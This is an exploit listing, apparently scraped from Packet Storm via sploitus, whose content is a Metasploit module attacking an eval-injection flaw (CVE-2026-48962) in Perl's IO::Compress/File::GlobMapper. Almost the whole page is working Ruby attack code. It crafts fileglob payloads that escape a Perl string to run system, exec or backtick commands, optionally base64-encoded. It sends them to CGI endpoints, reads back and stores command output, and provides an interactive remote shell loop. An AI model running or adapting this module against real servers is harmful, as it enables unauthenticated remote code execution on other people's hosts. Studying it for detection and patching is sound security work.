Share
## https://sploitus.com/exploit?id=PACKETSTORM:225277
==================================================================================================================================
    | # Title     : Perl IO::Compress RCE via File::GlobMapper Eval Injection                                                        |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.perl.org/                                                                                            |
    ==================================================================================================================================
    
    [+] Summary    :  This Metasploit auxiliary module targets a remote code execution (RCE) vulnerability in (CVE-2026-48962)Perl’s IO::Compress, specifically through an eval injection issue in File::GlobMapper::_getFiles().
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Perl IO::Compress RCE via File::GlobMapper Eval Injection',
            'Description' => %q{
              An eval injection vulnerability in `File::GlobMapper::_getFiles()` allows any
              attacker who can control the output fileglob argument passed to
              `IO::Compress::Gzip::gzip()`, `IO::Compress::Zip::zip()`, or any sibling
              function to execute arbitrary Perl code in the context of the running process.
    
              `File::GlobMapper` is invoked automatically when **both** the input and output
              arguments to an `IO::Compress::*` / `IO::Uncompress::*` function are fileglob
              strings (delimited by `< >`). This is a documented, common calling convention.
    
              Any character that closes the surrounding double-quoted Perl string β€” a literal
              `"`, a backtick, `${...}`, or `@{...}` β€” followed by arbitrary Perl code is
              executed verbatim.
    
              No authentication is required. Impact is complete: confidentiality, integrity,
              and availability of the host process are fully compromised.
            },
            'Author' => ['indoushka' ],
            'References' => [
              ['CVE', '2026-48962'],
              ['URL', 'https://github.com/advisories/GHSA-q6wx-vhvq-x7h6'],
              ['URL', 'https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch'],
              ['URL', 'http://www.openwall.com/lists/oss-security/2026/05/27/4']
            ],
            'DisclosureDate' => '2026-05-27',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base path to vulnerable CGI/application', '/cgi-bin/']),
          OptString.new('INJECT_PARAM', [true, 'Parameter that controls output filename', 'output']),
          OptString.new('INPUT_GLOB', [true, 'Input fileglob (must exist on server)', '</tmp/*>']),
          OptString.new('CMD', [false, 'Command to execute', 'id']),
          OptEnum.new('METHOD', [true, 'HTTP method to use', 'GET', ['GET', 'POST']]),
          OptInt.new('PAYLOAD_ENCODING', [false, 'Encoding level for payload', 0])
        ])
        register_advanced_options([
          OptBool.new('CLEANUP', [true, 'Attempt to remove created files after exploitation', true]),
          OptString.new('WRITABLE_DIR', [true, 'Writable directory on target', '/tmp'])
        ])
      end
      def generate_malicious_glob(command)
        cmd_escaped = command.gsub('"', '\\"')
        malicious = "<output.gz\"; system(\"#{cmd_escaped}\"); #>"
        alternatives = [
          "<output.gz\"; `#{command}`; #>",
          "<output.gz\"; eval(`#{command}`); #>",
          "<output.gz\"; exec(\"#{cmd_escaped}\"); #>",
          "<output.gz\"; require(\"#{cmd_escaped}\"); #>"
        ]
        if datastore['PAYLOAD_ENCODING'] > 0
          encoded = Rex::Text.encode_base64(malicious)
          return "<output.gz\"; eval(decode_base64(\"#{encoded}\")); #>"
        end
        malicious
      end
      def send_payload(payload)
        case datastore['METHOD']
        when 'GET'
          vars_get = {
            datastore['INJECT_PARAM'] => payload,
            'input' => datastore['INPUT_GLOB']
          }
          res = send_request_cgi({
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path),
            'vars_get' => vars_get
          })
        else # POST
          vars_post = {
            datastore['INJECT_PARAM'] => payload,
            'input' => datastore['INPUT_GLOB']
          }
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path),
            'vars_post' => vars_post
          })
        end
        res
      end
      def execute_command(cmd)
        print_status("Attempting to execute: #{cmd}")
        output_file = "#{datastore['WRITABLE_DIR']}/msf_output_#{Rex::Text.rand_text_alphanumeric(6)}"
        full_cmd = "#{cmd} > #{output_file} 2>&1"
        payload = generate_malicious_glob(full_cmd)
        print_status("Sending malicious payload: #{payload}")
        begin
          res = send_payload(payload)
          if res && res.code == 200
            print_good("Payload sent successfully")
            print_status("Attempting to read command output from #{output_file}")
            read_cmd = "cat #{output_file}"
            read_payload = generate_malicious_glob(read_cmd)
            res2 = send_payload(read_payload)
            if res2 && res2.body && !res2.body.empty?
              print_good("Command output received:")
              print_line(res2.body)
              loot_file = store_loot(
                'perl.rce.output',
                'text/plain',
                rhost,
                res2.body,
                "perl_cve_2026_48962_output.txt",
                "Output from executed command: #{cmd}"
              )
              print_good("Output saved to: #{loot_file}")
              if datastore['CLEANUP']
                cleanup_cmd = "rm -f #{output_file}"
                cleanup_payload = generate_malicious_glob(cleanup_cmd)
                send_payload(cleanup_payload)
                print_status("Cleanup completed")
              end
              return true
            else
              print_warning("Could not read command output - may need manual check")
              return false
            end
          else
            print_error("Failed to send payload. HTTP Status: #{res ? res.code : 'No response'}")
            return false
          end
        rescue ::Rex::ConnectionError => e
          print_error("Connection failed: #{e.message}")
          return false
        rescue => e
          print_error("Unexpected error: #{e.message}")
          return false
        end
      end
      def check_vulnerability
        print_status("Checking target for CVE-2026-48962...")
        test_file = "#{datastore['WRITABLE_DIR']}/msf_test_#{Rex::Text.rand_text_alphanumeric(8)}"
        test_cmd = "touch #{test_file}"
        print_status("Testing with command: #{test_cmd}")
        if execute_command(test_cmd)
          check_cmd = "test -f #{test_file} && echo 'VULNERABLE'"
          if execute_command(check_cmd)
            print_good("Target is VULNERABLE to CVE-2026-48962!")
            cleanup_cmd = "rm -f #{test_file}"
            execute_command(cleanup_cmd)
            
            return true
          end
        end
        print_error("Target does not appear to be vulnerable")
        false
      end
    
      def run
        print_status("CVE-2026-48962 - Perl IO::Compress RCE via File::GlobMapper")
        print_status("Target: #{rhost}:#{rport}")
        unless check_vulnerability
          print_error("Target not vulnerable or exploitation failed")
          return
        end
        if datastore['CMD']
          print_status("Executing single command: #{datastore['CMD']}")
          execute_command(datastore['CMD'])
        else
          print_good("Entering interactive shell mode")
          print_status("Commands will be executed on the target")
          print_status("Type 'exit' or 'quit' to leave")
          loop do
            print("\n$> ")
            cmd = gets.chomp
            break if cmd =~ /^(exit|quit)$/i
            next if cmd.empty?
            execute_command(cmd)
          end
        end
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================